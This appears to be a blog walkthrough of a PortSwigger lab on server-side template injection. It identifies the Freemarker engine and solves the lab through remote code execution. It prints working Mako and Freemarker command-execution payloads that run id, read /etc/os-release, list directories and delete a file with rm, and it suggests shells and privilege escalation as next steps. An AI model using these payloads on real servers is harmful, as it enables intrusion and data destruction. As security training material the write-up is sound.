SSTI – Server-side template injection using documentation

This is the third blog post covering server-side template injection and the associated PortSwigger Web Security Academy labs. This one, to me, is a lot like the last one. Like – exactly. That’s ok, though, as practice makes permanent. And since we’re going to be able to walk through the steps and get RCE (remote code execution) to achieve the lab’s goal, it is still pretty darn cool and we’re getting in another rep!

  1. SSTI – Basic server-side template injection
  2. SSTI – Basic server-side template injection (code context)
  3. >>SSTI – Server-side template injection using documentation<<
  4. SSTI – Server-side template injection in an unknown language with a documented exploit
  5. SSTI – Server-side template injection with information disclosure via user-supplied objects
  6. SSTI – Server-side template injection in a sandboxed environment
  7. SSTI – Server-side template injection with a custom exploit

NOTE – Links will light up as posts become available.

Resources:

Lab: Server-side template injection using documentation

Should we read the instructions this time? Yeah, this time we need to do just that. The goal of this lab is the same as the last two – delete the morale.txt file within Carlos’s home directory. The main difference here is that we have a weird set of credentials.

content-manager:C0nt3ntM4n4g3r

This is not the normal wiener:peter set of creds so it is important to take note.

Let’s start poking at the lab and see if we can get it to tell us if and where it is using a template engine under the hood so that we can then figure out how to exploit it.

Step 1: Recon

As always, fire up Caido (or Burp), launch the integrated browser and then browse the web application.

a screenshot of the shop for the lab Server-side template injection using documentation

This lab is the standard shop we are presented in the labs. Viewing an item yields this:

a screenshot of a specific product showing a product description and price

Nothing special there, moving to the login page shows us the standard login form. After authenticating with the provided creds, and then even trying to set an email address, we get this:

a screenshot of account logged in with username and email address

I tried pushing various payloads through the email address but no luck there. Staying logged in, I went back to a product page and we strike paydirt:

a screenshot of the same product page but now with an edit template button

An ‘Edit template’ button! Since we’re dealing with SSTI, the word template is a glaring indicator we’re in the right spot.

a screenshot of the template code for the product.

Look at that – the template itself shows us that we’re dealing with ${ } as the syntax wrapper for the template engine! No fuzzing required. Let’s see if we have code execution.

a screenshot of the template code with the attempted SSTI payload

And we get:

a screenshot of successful code injection - 49 instead of 7*7

Bam! Now, we just need to figure out what engine this is.

Step 2: Determine the engine

There are a few different engines that use this syntax. In order to exploit, we’re going to have to determine the exact right one. We might have to move through them one at a time. I go over to PayloadsAllTheThings and arbitrarily choose Python. Within the Python payloads for SSTI, the first engine I want to test is Mako.

<%
import os
x=os.popen('id').read()
%>
${x}

The very first payload provided by PayloadsAllTheThings for Mako is pretty much exactly what we want. If this is the right template engine, we will know right away:

a screenshot of Mako payload that should run id

Did it work? Nope!

a screenshot of error message that clearly shows we are using the Freemarker template engine in Java

Instead, I get a rather cryptic error message. It took a long time for me to decipher this, however, I think we’re probably dealing with the Freemarker template engine that runs within/on Java. Just a guess.

Moving over to Java within PayloadsAllTheThings, Freemarker is listed and we have payloads to try. There are a few different potential syntax options, however, since we see that the template is already using the ${ } syntax, this payload makes sense:

${"freemarker.template.utility.Execute"?new()("id")}

Let’s try it!

a screenshot of freemarker payload to get id

And:

a screenshot of successful execution of id - carlos is shown

Gold – we got it.

Step 3: Explore

Let’s see what we can do with this RCE. First, can we run a dir listing on the root of the file system?

${"freemarker.template.utility.Execute"?new()("dir /")}
a screenshot of the directory listing of the root directory

Yep. We have the ability to read the file system with this mechanism. I wonder what OS this lab is running on?

${"freemarker.template.utility.Execute"?new()("cat /etc/os-release")}
a screenshot of /etc/os-release showing this is Ubuntu

Do we have Python?

${"freemarker.template.utility.Execute"?new()("python3 --version")}
a screenshot of the version of python

Yep. At this point, running under the Carlos user (as seen by running id) we can do whatever we want with the box. Look for privilege escalation, throw a full shell, whatever. Let’s move on to solving the lab.

Step 4: Solve the lab

Just as in previous labs, let’s see what directories we have inside of /home. We will probably see carlos. Then we can check inside of there and we will probably see our morale.txt. Then, we just need to remove the file.

${"freemarker.template.utility.Execute"?new()("dir /home")}
a screenshot of of the directory listing for /home. carlos is listed
${"freemarker.template.utility.Execute"?new()("dir /home/carlos")}
a screenshot of morale.txt being shown
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
a screenshot of nothing being shown since the file was removed

Hit refresh on the page, and:

a screenshot of the lab showing it is solved

Solved!

Summary

Another solid SSTI lab in the books. While it felt a lot like the last one, the key takeaway here was adapting to a different template engine and figuring out how to exploit it. Practice makes permanent.

Key takeaways:

  • Recognizing template engine syntax clues can save time
  • Not all SSTI payloads work across different engines
  • Freemarker allows direct command execution with the right syntax
  • Once RCE is achieved, privilege escalation or persistence are logical next steps

Happy hacking!

Leave a Reply